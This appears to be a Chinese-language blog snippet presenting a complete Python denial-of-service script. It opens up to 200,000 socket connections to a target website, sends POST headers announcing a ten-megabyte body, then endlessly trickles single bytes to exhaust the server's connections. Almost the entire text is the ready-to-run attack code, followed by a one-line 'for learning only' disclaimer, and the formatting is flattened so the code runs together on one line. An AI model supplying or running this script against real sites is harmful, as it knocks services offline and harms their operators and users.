构建多个socket链接后,每个socket对这个网站无限的发送信息,做一个死循环,疯狂攻击。以起到占用他们网站资源链接的效果 import socket import time import threading MAX_CONN = 200000 # 最大socket链接量 PORT = 80 HOST = “地址” PAGE = “/photography” buf = (“POST %s HTTP/1.1\r\n” “Host: %s\r\n” “Content-Length: 10000000\r\n” “Cookie: dklkt_dos_test\r\n” “\r\n” % (PAGE, HOST)) 创建socket链接列表,存储上20万个socket socks = [] 循环创建socket链接 def conn_thread(): global socks for i in range(0, MAX_CONN): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((HOST, PORT)) s.send(buf.encode(“utf-8”)) print(“Send buf OK!,conn=%d\n” % i) socks.append(s) except Exception as ex: print(“Could not connect to server or send error:%s” % ex) time.sleep(1) socket循环对目标网站发数据 def send_thread(): global socks while True: for s in socks: try: s.send(“f”.encode(“utf-8”)) print(“send f OK!”) except Exception as ex: print(“Send Exception:%s\n” % ex) socks.remove(s) s.close() time.sleep(0.1) 多线程执行两个函数 conn_th = threading.Thread(target=conn_thread, args=()) send_th = threading.Thread(target=send_thread, args=()) conn_th.start() send_th.start() 文章仅供学习,恶意攻击他人服务器出现的一切后果请自行负责。
|